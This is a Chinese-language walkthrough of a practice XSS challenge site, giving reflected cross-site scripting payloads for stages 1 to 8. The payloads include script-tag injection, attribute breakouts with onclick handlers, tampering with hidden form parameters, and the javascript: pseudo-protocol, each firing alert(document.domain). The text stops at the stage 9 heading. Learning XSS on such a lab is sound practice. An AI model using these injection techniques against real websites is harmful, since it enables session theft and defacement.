Basic XSS
XSS Challenges Stage(http://xss-quiz.int21h.jp) 上的练习题解。
这是一个入门xss的练习平台,每一关的目的是注入alert(document.domain),成功xss后就会出现下一关的链接。有些payload会被Chrome、Firefox等拦截,此时可换用IE浏览器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x01
http://xss-quiz.int21h.jp
payload:' have"</b><script>alert(document.domain)</script><b>1" '(单引号中的内容为payload)
0x02
http://xss-quiz.int21h.jp/stage2.php
payload:' a" /><script>alert(document.domain)</script><" '
0x03
http://xss-quiz.int21h.jp/stage-3.php
这里没法通过搜索框alert,不过可以抓包修改下拉框的内容,即参数p2的值,注意p1的值不能放
空,否则表单会无效。
下面是抓包方式的payload
payload:' p1=nice&p2=Japan</b>.<hr class=red></form><script>alert(document.domain)</script><hr class=red><b> '
0x04
http://xss-quiz.int21h.jp/stage_4.php
检查源码可以发现有个隐藏参数p3,默认值是'hackme',可以通过这个参数alert
下面是抓包方式的payload
payload:' p1=day&p2=Japan&p3=" /><script>alert(document.domain)</script><" '
0x05
http://xss-quiz.int21h.jp/stage--5.php
检查元素可见搜索框限定了内容长度maxLength="15",改大点就好了,然后可以愉快的xss了。
payload:' " /><script>alert(document.domain)</script><" '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x06
http://xss-quiz.int21h.jp/stage-no6.php
payload:' " onclick="alert(document.domain) '
然后点一下搜索框就好了。
0x07
http://xss-quiz.int21h.jp/stage07.php
用第六题的payload尝试发现点击无效,检查元素发现变成了这样:
<input onclick=""alert(document.domain)" size=50 value=""" name=p1>
我当时 ???,然后在资源管理器里手动删了onclick= 后面多的那个双引号,然后再点击搜索框就好了。
所以可以这样写
payload:' " onclick=alert(document.domain) '
然后点一下搜索框。
0x08
http://xss-quiz.int21h.jp/stage008.php
payload:' javascript:alert(document.domain) '
javascript: 是一个伪协议,当触发标签默认行为时,执行一段js代码。
javascript:; 可以用来阻止标签a的默认行为
<a href="javascript:;">test</a>
效果等同于
<a href="#">test</a>
<a href="javascript:void(0);">test</a>等
0x09
http://xss-quiz.int21h.jp/stage_09.php